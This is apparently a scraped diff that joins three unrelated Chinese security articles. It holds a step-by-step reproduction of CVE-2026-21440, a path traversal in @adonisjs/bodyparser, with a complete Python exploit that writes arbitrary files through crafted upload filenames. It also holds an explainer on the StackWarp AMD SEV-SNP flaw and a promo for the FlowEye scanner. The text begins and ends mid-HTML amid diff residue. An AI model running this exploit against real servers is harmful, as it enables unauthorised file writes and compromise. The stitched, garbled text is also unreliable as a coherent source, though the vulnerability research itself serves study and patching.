"Helvetica Neue", "Luxi Sans", "DejaVu Sans", "Hiragino Sans GB", "Microsoft Yahei", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Noto Color Emoji", "Segoe UI Symbol", "Android Emoji", EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">≤ 10.1.1</span></span></section></td><td data-colwidth="191"><section><span style="color: rgb(36, 41, 46);font-family: "Helvetica Neue", "Luxi Sans", "DejaVu Sans", "Hiragino Sans GB", "Microsoft Yahei", sans-serif, "Apple Color Emoji", "Segoe UI EmojiLine truncated
|
||||
## 三、漏洞复现步骤
|
||||
|
||||
这里以
|
||||
cve-2026-21440-writeup-poc中的Vulnerable-App
|
||||
环境作为漏洞复现测试,复现的系统在ubuntu中
|
||||
|
||||
链接地址:
|
||||
https://github.com/k0nnect/cve-2026-21440-writeup-poc.git
|
||||
##
|
||||
## 1.git clone或者下载cve-2026-21440-writeup-poc项目到ubuntu本地目录中,如下所示
|
||||
|
||||

|
||||
##
|
||||
## 2.在终端中切换到cve-2026-21440-writeup-poc项目的子目录Vulnerable-App中,如下所示
|
||||
|
||||

|
||||
##
|
||||
## 3.运行如下命令安装Vulnerable-App漏洞环境依赖,如下所示
|
||||
```
|
||||
sudo npm install
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
##
|
||||
## 4.运行如下命令复制Vulnerable-App漏洞环境配置文件,如下所示
|
||||
```
|
||||
cp env.example .env
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
##
|
||||
## 5.运行如下命令启动Vulnerable-App漏洞开发环境,如下所示
|
||||
```
|
||||
sudo npm run dev
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
## 服务器将在http://localhost:3333启动
|
||||
##
|
||||
## 6.另起一个终端,在终端中切换到cve-2026-21440-writeup-poc中的Exploit-PoC目录中,如下所示
|
||||
|
||||

|
||||
##
|
||||
## 7.运行如下命令安装exploit.py所需的python模块,如下所示
|
||||
```
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
##
|
||||
## 8.运行如下命令执行exploit.py程序测试CVE-2026-21440漏洞,在服务器指定目录中写入pwned.txt文件,如下所示
|
||||
```
|
||||
python3 exploit.py --url http://localhost:3333/upload --path "../../tmp/pwned.txt" --content "vulnerability exists!"
|
||||
```
|
||||
|
||||

|
||||
## Vulnerable-App服务端输出的日志,如下所示
|
||||
|
||||

|
||||
##
|
||||
## 9.查看指定目录中pwned.txt文件是否存在,如果存在,则漏洞利用成功,如下所示
|
||||
|
||||

|
||||
|
||||

|
||||
## 四、存在漏洞的代码及漏洞exploit解析
|
||||
## 漏洞代码解析
|
||||
```
|
||||
// @adonisjs/bodyparser 中的漏洞代码路径
|
||||
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
|
||||
const fileName = options?.name || this.clientName // ← 使用了未净化的客户端输入
|
||||
const filePath = path.join(location, fileName) // ← path.join 允许路径遍历
|
||||
// ...
|
||||
await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
|
||||
}
|
||||
```
|
||||
```
|
||||
// ❌ 存在漏洞 - 使用了客户端提供的文件名
|
||||
public async upload({ request, response }: HttpContext) {
|
||||
const file = request.file('upload')
|
||||
if (file) {
|
||||
await file.move(app.tmpPath()) // 使用 clientName 作为文件名
|
||||
}
|
||||
return response.ok({ message: 'uploaded' })
|
||||
}
|
||||
```
|
||||
|
||||
exploit解析
|
||||
```
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CVE-2026-21440 - Path Traversal Exploit for @adonisjs/bodyparser
|
||||
|
||||
这个脚本利用 @adonisjs/bodyparser 包中的路径遍历漏洞
|
||||
(影响版本:≤10.1.1 和 11.0.0-next.1 到 11.0.0-next.5)
|
||||
|
||||
该漏洞允许攻击者通过构造包含目录遍历序列的恶意文件名,
|
||||
在预期上传目录之外写入任意文件。
|
||||
|
||||
作者:k0nnect
|
||||
日期:2026-01-07
|
||||
|
||||
⚠️ 免责声明:此工具仅用于授权安全测试。
|
||||
未经授权访问计算机系统是非法的。
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
import os
|
||||
import socket
|
||||
from urllib.parse import urlparse, urljoin
|
||||
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
print("[!] Error: 'requests' library not found.")
|
||||
print(" Install with: pip install requests")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
BANNER = """
|
||||
╔═══════════════════════════════════════════════════════════════╗
|
||||
║ CVE-2026-21440 Path Traversal Exploit ║
|
||||
║ @adonisjs/bodyparser ║
|
||||
║ ║
|
||||
║ github.com/k0nnect/cve-2026-21440-writeup ║
|
||||
╚═══════════════════════════════════════════════════════════════╝
|
||||
"""
|
||||
|
||||
|
||||
class PathTraversalExploit:
|
||||
"""
|
||||
CVE-2026-21440 路径遍历漏洞的利用类。
|
||||
"""
|
||||
|
||||
def __init__(self, target_url: str, timeout: int = 10, verify_ssl: bool = True):
|
||||
"""
|
||||
初始化漏洞利用对象。
|
||||
"""
|
||||
self.target_url = target_url.rstrip('/') # 目标URL,移除末尾斜杠
|
||||
self.timeout = timeout # 请求超时时间
|
||||
self.verify_ssl = verify_ssl # SSL验证开关
|
||||
self.session = requests.Session() # 创建会话对象
|
||||
|
||||
# 解析URL
|
||||
parsed = urlparse(self.target_url)
|
||||
self.host = parsed.hostname # 目标主机名
|
||||
self.port = parsed.port or (443 if parsed.scheme == 'https' else 80) # 端口
|
||||
self.path = parsed.path or '/' # 路径
|
||||
self.is_https = parsed.scheme == 'https' # 是否为HTTPS
|
||||
|
||||
def check_target(self) -> bool:
|
||||
"""检查目标是否可达且健康。"""
|
||||
try:
|
||||
base_url = '/'.join(self.target_url.split('/')[:-1])
|
||||
health_url = urljoin(base_url + '/', 'health') # 构造健康检查URL
|
||||
response = self.session.get(health_url, timeout=self.timeout, verify=self.verify_ssl)
|
||||
if response.status_code == 200:
|
||||
print("[+] Target is reachable and healthy")
|
||||
return True
|
||||
else:
|
||||
print(f"[-] Target returned status {response.status_code}")
|
||||
return False
|
||||
except Exception as e:
|
||||
print(f"[!] Cannot connect to target: {e}")
|
||||
return False
|
||||
|
||||
def exploit(self, traversal_path: str, content: str, verbose: bool = False) -> bool:
|
||||
"""
|
||||
使用原始socket执行路径遍历漏洞利用。
|
||||
|
||||
这样可以绕过所有库级别的文件名清理。
|
||||
"""
|
||||
print(f"\n[*] Target URL: {self.target_url}")
|
||||
print(f"[*] Traversal Path: {traversal_path}") # 例如:../../etc/passwd
|
||||
print(f"[*] Payload Size: {len(content)} bytes") # 载荷大小
|
||||
|
||||
# 构造包含未清理文件名的多部分表单数据
|
||||
boundary = "----CVE2026214440Boundary" # 边界字符串
|
||||
|
||||
# 构造multipart表单数据体
|
||||
body = (
|
||||
f"--{boundary}\r\n"
|
||||
f'Content-Disposition: form-data; name="file"; filename="{traversal_path}"\r\n'
|
||||
f"Content-Type: application/octet-stream\r\n"
|
||||
f"\r\n"
|
||||
f"{content}\r\n"
|
||||
f"--{boundary}--\r\n"
|
||||
).encode('utf-8')
|
||||
|
||||
# 构造原始HTTP请求
|
||||
request = (
|
||||
f"POST {self.path} HTTP/1.1\r\n"
|
||||
f"Host: {self.host}:{self.port}\r\n"
|
||||
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
|
||||
f"Content-Length: {len(body)}\r\n" # 内容长度
|
||||
f"Connection: close\r\n" # 关闭连接
|
||||
f"\r\n" # 空行分隔头部和体部
|
||||
).encode('utf-8') + body # 加上体部
|
||||
|
||||
if verbose:
|
||||
print(f"[*] Crafted filename in request: {traversal_path}")
|
||||
print(f"[*] Raw request size: {len(request)} bytes")
|
||||
|
||||
try:
|
||||
print("\n[*] Sending exploit payload via raw socket...")
|
||||
|
||||
# 创建socket并连接
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(self.timeout)
|
||||
|
||||
if self.is_https: # 如果是HTTPS,包装socket
|
||||
import ssl
|
||||
context = ssl.create_default_context()
|
||||
if not self.verify_ssl: # 如果禁用SSL验证
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
sock = context.wrap_socket(sock, server_hostname=self.host)
|
||||
|
||||
sock.connect((self.host, self.port))
|
||||
sock.sendall(request) # 发送整个请求
|
||||
|
||||
# 接收响应
|
||||
response = b""
|
||||
while True:
|
||||
chunk = sock.recv(4096) # 每次接收4096字节
|
||||
if not chunk:
|
||||
break
|
||||
response += chunk
|
||||
|
||||
sock.close()
|
||||
|
||||
# 解析响应
|
||||
response_str = response.decode('utf-8', errors='ignore')
|
||||
|
||||
if verbose:
|
||||
print(f"[*] Raw response:\n{response_str[:1000]}")
|
||||
|
||||
# 提取状态码
|
||||
first_line = response_str.split('\r\n')[0]
|
||||
status_code = int(first_line.split()[1]) if len(first_line.split()) > 1 else 0
|
||||
|
||||
# 提取响应体(在双CRLF之后)
|
||||
body_start = response_str.find('\r\n\r\n')
|
||||
response_body = response_str[body_start + 4:] if body_start != -1 else ""
|
||||
|
||||
if verbose:
|
||||
print(f"[*] Response Status: {status_code}")
|
||||
print(f"[*] Response Body: {response_body[:500]}")
|
||||
|
||||
if status_code == 200:
|
||||
print("\n[+] ✓ Exploit successful!")
|
||||
|
||||
# 尝试解析JSON响应
|
||||
try:
|
||||
import json
|
||||
# 处理分块传输编码
|
||||
if 'Transfer-Encoding: chunked' in response_str:
|
||||
# 简单的分块解码 - 在响应体中查找JSON
|
||||
json_start = response_body.find('{')
|
||||
json_end = response_body.rfind('}') + 1
|
||||
if json_start != -1 and json_end > json_start:
|
||||
response_body = response_body[json_start:json_end]
|
||||
|
||||
data = json.loads(response_body)
|
||||
if data.get('success') and 'data' in data:
|
||||
info = data['data']
|
||||
print(f"[+] Original name: {info.get('originalName', 'N/A')}")
|
||||
print(f"[+] Resolved path: {info.get('resolvedPath', 'N/A')}")
|
||||
if info.get('escapedUploadsDir'):
|
||||
print(f"[+] ⚠️ PATH TRAVERSAL CONFIRMED - Escaped uploads directory!")
|
||||
except:
|
||||
pass # JSON解析失败时不中断
|
||||
|
||||
return True
|
||||
|
||||
elif status_code == 400:
|
||||
print("\n[-] ✗ Bad request - file may have been rejected")
|
||||
return False
|
||||
else:
|
||||
print(f"\n[-] Unexpected status: {status_code}")
|
||||
return False
|
||||
|
||||
except socket.timeout:
|
||||
print("\n[!] Request timed out")
|
||||
return False
|
||||
except ConnectionRefusedError:
|
||||
print("\n[!] Connection refused")
|
||||
return False
|
||||
except Exception as e:
|
||||
print(f"\n[!] Exploit failed: {e}")
|
||||
if verbose: # 详细模式下打印堆栈跟踪
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
return False
|
||||
|
||||
|
||||
def main():
|
||||
"""主入口点。"""
|
||||
parser = argparse.ArgumentParser(
|
||||
description='CVE-2026-21440 Path Traversal Exploit',
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
示例:
|
||||
python exploit.py --url http://target:3333/upload --path "../test.txt"
|
||||
python exploit.py --url http://target:3333/upload --path "../../tmp/pwned.txt" --content "pwned"
|
||||
"""
|
||||
)
|
||||
|
||||
# 定义命令行参数
|
||||
parser.add_argument('--url', '-u', required=True, help='目标上传端点URL')
|
||||
parser.add_argument('--path', '-p', required=True, help='遍历路径(例如:../test.txt)')
|
||||
parser.add_argument('--content', '-c', default='CVE-2026-21440 PoC', help='文件内容')
|
||||
parser.add_argument('--file', '-f', help='从文件读取内容')
|
||||
parser.add_argument('--timeout', '-t', type=int, default=10, help='超时时间(秒)')
|
||||
parser.add_argument('--no-ssl-verify', action='store_true', help='禁用SSL验证')
|
||||
parser.add_argument('--check', action='store_true', help='仅检查目标')
|
||||
parser.add_argument('--verbose', '-v', action='store_true', help='详细输出')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
print(BANNER)
|
||||
|
||||
# 加载内容
|
||||
content = args.content
|
||||
if args.file:
|
||||
if os.path.exists(args.file):
|
||||
with open(args.file, 'r') as f:
|
||||
content = f.read()
|
||||
print(f"[*] Loaded content from: {args.file}")
|
||||
else:
|
||||
print(f"[!] File not found: {args.file}")
|
||||
sys.exit(1)
|
||||
|
||||
# 创建漏洞利用对象
|
||||
exploit = PathTraversalExploit(
|
||||
target_url=args.url,
|
||||
timeout=args.timeout,
|
||||
verify_ssl=not args.no_ssl_verify
|
||||
)
|
||||
|
||||
if args.check:
|
||||
sys.exit(0 if exploit.check_target() else 1)
|
||||
|
||||
print("[*] Starting exploit...")
|
||||
|
||||
# 执行漏洞利用
|
||||
success = exploit.exploit(args.path, content, args.verbose)
|
||||
|
||||
if success:
|
||||
print("\n" + "="*60)
|
||||
print("[+] Exploit completed - verify file on target")
|
||||
print("="*60)
|
||||
sys.exit(0)
|
||||
else:
|
||||
print("\n[-] Exploit may have failed")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
```
|
||||
|
||||
@@ -0,0 +1,130 @@
|
||||
# 当 Stack Engine 背叛了 CPU:详解 AMD 最新硬件级漏洞 StackWarp
|
||||
原创 Hankzheng
|
||||
Hankzheng 技术修道场 2026-01-20 23:57
|
||||
|
||||

|
||||
|
||||
大家好,在这个云原生的时代,我们总被灌输一个概念:“只要上了云,开启了机密计算,你的数据就是安全的,连云厂商的管理员都看不了。”
|
||||
|
||||
**真的是这样吗?**
|
||||
|
||||
今天我们要聊的这个漏洞,可能会让你对“硬件级安全”产生新的怀疑。就在最近,德国 CISPA 信息安全中心的顶级白帽团队又搞了个大新闻。他们发现了一个代号为 **StackWarp**
|
||||
的新型硬件漏洞,直接打穿了 AMD 引以为傲的 SEV-SNP 防护体系。
|
||||
|
||||
最让人头皮发麻的是,这次受影响的范围极大——从 **Zen 1 到最新的 Zen 5**
|
||||
架构,几乎全线 AMD EPYC 服务器处理器无一幸免。
|
||||
|
||||
今天,咱们就脱去那些晦涩的英文术语,用工程师的视角来扒一扒:**这帮研究员究竟是怎么隔着加密内存,把手伸进虚拟机里的?**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 01 所谓“固若金汤”的 SEV-SNP
|
||||
|
||||
在深入漏洞之前,得先聊聊受害者:**AMD SEV-SNP**
|
||||
(Secure Encrypted Virtualization with Secure Nested Paging)。
|
||||
|
||||
简单来说,这是一种通过硬件加密虚拟机内存的技术。它的核心逻辑是:**Hypervisor(宿主机管理程序)是不可信的。**
|
||||
|
||||
通常情况下,云厂商的管理员或者被攻陷的 Hypervisor 可以随意 dump 虚拟机的内存。但开了 SEV-SNP 后,内存是加密的,CPU 只有在虚拟机内部运行时才解密。理论上,就算黑客拿到了宿主机的最高权限,看着你虚拟机里的数据也应该是一堆乱码。
|
||||
|
||||
但是,StackWarp 的出现,告诉了我们一个残酷的现实:**“我不看你的数据,但我可以改你的脑回路。”**
|
||||
|
||||
## 02 核心原理:当“微架构优化”成为后门
|
||||
|
||||
这次漏洞的攻击点非常刁钻,它没有去硬破解加密算法,而是瞄准了 CPU 内部一个为了提升性能的微架构组件——**Stack Engine(堆栈引擎)**
|
||||
。
|
||||
### 什么是 Stack Engine?
|
||||
|
||||
我们都知道,程序运行时频繁涉及入栈(Push)和出栈(Pop)操作,这需要不断修改堆栈指针(RSP/ESP)。为了不让这些频繁的加减法堵塞 CPU 的主流水线,现代 CPU 设计了一个专门的“小助手”叫 Stack Engine,专门负责**推测性地**
|
||||
更新堆栈指针。
|
||||
### 漏洞在哪里?
|
||||
|
||||
CISPA 的大神们发现,AMD 的处理器在处理某些特定指令时,Stack Engine 和实际的架构状态之间存在同步间隙。
|
||||
|
||||
更致命的是,他们找到了一个**未公开的 Hypervisor 控制位**
|
||||
。
|
||||
> 技术实锤:
|
||||
> 攻击者如果拥有宿主机的管理员权限,可以通过操纵这个未公开的控制位,干预 CPU 的流水线配置。当攻击者在目标虚拟机隔壁的逻辑核(Hyperthread)上运行时,利用这个控制位,可以强制导致目标虚拟机内部的 Stack Engine 状态与内存中的实际状态**失去同步**
|
||||
。
|
||||
|
||||
|
||||
|
||||
**结果是什么?**
|
||||
|
||||
虚拟机以为它的堆栈指针(SP)指向的是安全区域 A,但实际上,攻击者已经通过硬件层面的干扰,把 SP 指向了攻击者预设的区域 B。
|
||||
|
||||
这好比你以为你在写日记(受保护的内存),结果有人悄悄把你桌子挪了,你闭着眼把字写到了隔壁老王递过来的一张纸条上。
|
||||
|
||||
## 03 攻击后果:从 ROP 到私钥窃取
|
||||
|
||||
既然控制了堆栈指针(Stack Pointer),对于咱们搞技术的人来说,接下来的剧本就很熟悉了。
|
||||
- **1. 控制流劫持 (Control Flow Hijacking)**
|
||||
|
||||
只要修改了 SP,当函数返回(RET)时,程序就会跳转到攻击者想要的地方。这就是经典的 ROP(面向返回编程)攻击,只不过这次是在硬件层面触发的。
|
||||
|
||||
- **2. 数据流篡改**
|
||||
|
||||
攻击者可以让虚拟机把敏感数据“误”写入到非加密的共享内存区域,或者篡改关键的决策变量。
|
||||
|
||||
- **3. 实战演示——秒破 OpenSSH**
|
||||
|
||||
研究团队展示了惊人的攻击效果:利用 StackWarp,他们可以在一次错误的签名过程中恢复出 **RSA-2048 私钥**
|
||||
。
|
||||
|
||||
更进一步,他们直接绕过了 OpenSSH 的密码认证和 Sudo 的密码提示,在虚拟机内核模式下实现了代码执行。
|
||||
|
||||
**一句话总结:Hypervisor 虽然看不懂你的加密内存,但它能让你自己把钥匙交出来,或者让你自己把门打开。**
|
||||
|
||||
## 04 受影响产品与解决方案
|
||||
|
||||
这次受影响的名单基本上涵盖了市面上主流的 AMD 服务器 CPU:
|
||||
- AMD EPYC 7003 "Milan"
|
||||
|
||||
- AMD EPYC 8004 "Siena"
|
||||
|
||||
- AMD EPYC 9004 "Genoa"
|
||||
|
||||
- AMD EPYC 9005 "Turin"
|
||||
|
||||
- 以及对应的嵌入式系列
|
||||
|
||||
### 怎么修?
|
||||
|
||||
AMD 官方给出的定性是 **CVE-2025-29943**
|
||||
(CVSS 4.6 分,中危)。虽然利用门槛高(需要宿主机权限),但在公有云场景下,也是不容忽视的。
|
||||
|
||||
作为运维和开发,我们需要做两件事:
|
||||
|
||||
**1. 打补丁(Microcode Update):**
|
||||
|
||||
AMD 已经开始在 2025 年 7 月和 10 月发布微码更新,部分新型号的 AGESA 补丁要等到 2026 年 4 月。赶紧检查你的服务器 BIOS/固件更新列表。
|
||||
|
||||
**2. 关闭超线程(SMT)—— 这是一个痛并快乐着的决定:**
|
||||
|
||||
StackWarp 攻击极其依赖于攻击者运行在与受害者相邻的超线程(Hyperthread)上。引用研究员 Ruiyi Zhang 的建议:
|
||||
|
||||
"Check whether hyperthreading is enabled... plan a temporary disablement for CVMs."
|
||||
|
||||
**如果你的业务跑在极高安全需求的机密虚拟机(CVM)上,建议立刻禁用 SMT。**
|
||||
虽然这会损失性能,但在补丁打上之前,这是唯一 100% 阻断攻击路径的方法。
|
||||
|
||||
## 05 笔者的思考
|
||||
|
||||
StackWarp 并不是孤例。从之前的 CacheWarp 到现在的 StackWarp,我们可以看到一个趋势:**云安全的攻防战,正在从软件层下沉到微架构层。**
|
||||
|
||||
以前我们防的是代码漏洞,现在我们要防的是 CPU 设计时的“聪明的优化”。那些为了榨干性能而设计的预测执行、堆栈引擎,在黑客眼中,全都是侧信道攻击的天然温床。
|
||||
|
||||
对于我们这些依靠云吃饭的技术人来说,盲目信任“硬件级安全”的时代已经过去了。纵深防御(Defense in Depth),永远不过时。
|
||||
|
||||
你怎么看这次 AMD 的“翻车”?欢迎在评论区留言交流!
|
||||
|
||||
**参考资料:**
|
||||
- CISPA Helmholtz Center for Information Security
|
||||
|
||||
- The New Stack: StackWarp Hardware Flaw
|
||||
|
||||
- AMD Security Bulletin CVE-2025-29943
|
||||
|
||||
@@ -1,42 +1,20 @@
|
||||
# 流量之眼 - 智能被动漏洞扫描平台
|
||||
YingxueSec
|
||||
YingxueSec 无影安全实验室 2026-01-20 13:10
|
||||
黑白之道 2026-01-21 01:18
|
||||
|
||||
免责声明:
|
||||
本篇文章仅用于技术交流,
|
||||
请勿利用文章内的相关技术从事非法测试
|
||||
,
|
||||
由于传播、利用本公众号无影安全
|
||||
实验室所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号无影安全实验室及作者不为此承担任何责任,一旦造成后果请自行承担!
|
||||
如有侵权烦请告知,我们会立即删除并致歉。谢谢!
|
||||
所有工具安全性自测!!!
|
||||
**VX:smile62157**
|
||||

|
||||
|
||||
## 工具介绍
|
||||
|
||||
|
||||
朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把"**无影安全实验室**
|
||||
"设为星标,这样更新文章也能第一时间推送!
|
||||
|
||||

|
||||
|
||||
|
||||
安全工具
|
||||
|
||||
|
||||
|
||||
## 0x01 工具介绍
|
||||
**FlowEye(流量之眼)**
|
||||
是一款专为安全测试人员打造的 Web 化被动漏洞扫描平台。通过与 Burp Suite 无缝集成,FlowEye 能够实时接收并分析 HTTP 流量,自动进行多维度漏洞检测,帮助安全研究人员高效发现 Web 应用安全风险。
|
||||
|
||||

|
||||

|
||||
### 为什么选择 FlowEye?
|
||||
|
||||
为什么选择
|
||||
FlowEye
|
||||
?
|
||||
<table><thead><tr style="box-sizing: border-box;background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><th style="box-sizing: border-box;padding: 6px 13px;font-weight: 600;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">特性</span></section></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: 600;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="box-sizing: border-box;background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">🎯 </span><strong style="box-sizing: border-box;font-weight: 600;margin-bottom: 0px;"><span leaf="">精准识别</span></strong></section></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">内置 1000+ 指纹规则,自动识别目标技术栈</span></section></td></tr><tr style="box-sizing: border-box;background-color: rgb(246, 248, 250);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">🧠 </span><strong style="box-sizing: border-box;font-weight: 600;margin-bottom: 0px;"><span leaf="">智能调度</span></strong></section></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">根据指纹结果智能选择扫描引擎,避免无效扫描</span></section></td></tr><tr style="box-sizing: border-box;background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">⚡ </span><strong style="box-sizing: border-box;font-weight: 600;margin-bottom: 0px;"><span leaf="">高效扫描</span></strong></section></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">多引擎并行,支持 Shiro/Struts2/SQL注入/XSS 等漏洞检测</span></section></td></tr><tr style="box-sizing: border-box;background-color: rgb(246, 248, 250);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">🖥️ </span><strong style="box-sizing: border-box;font-weight: 600;margin-bottom: 0px;"><span leaf="">现代界面</span></strong></section></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">React + TailwindCSS 构建的精美 Web UI</span></section></td></tr><tr style="box-sizing: border-box;background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">📦 </span><strong style="box-sizing: border-box;font-weight: 600;margin-bottom: 0px;"><span leaf="">开箱即用</span></strong></section></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">单文件可执行,无需复杂配置</span></section></td></tr><tr style="box-sizing: border-box;background-color: rgb(246, 248, 250);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">🇨🇳 </span><strong style="box-sizing: border-box;font-weight: 600;margin-bottom: 0px;"><span leaf="">中文界面</span></strong></section></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">Burp 插件完整中文汉化</span></section></td></tr></tbody></table>
|
||||
## 0x02 工具功能
|
||||
<table><thead><tr style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><th style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgba(204, 204, 204, 0.4);background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);max-width: 100%;box-sizing: border-box !important;color: rgb(66, 75, 93);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;height: auto;border-radius: 0px;min-width: 85px;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">特性</span></section></th><th style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgba(204, 204, 204, 0.4);background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);max-width: 100%;box-sizing: border-box !important;color: rgb(66, 75, 93);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;height: auto;border-radius: 0px;min-width: 85px;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">描述</span></section></th></tr></thead><tbody><tr style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(66, 75, 93);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgba(204, 204, 204, 0.4);max-width: 100%;box-sizing: border-box !important;min-width: 85px;border-radius: 0px;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">🎯 </span><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(66, 75, 93);font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">精准识别</span></strong></section></td><td style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px 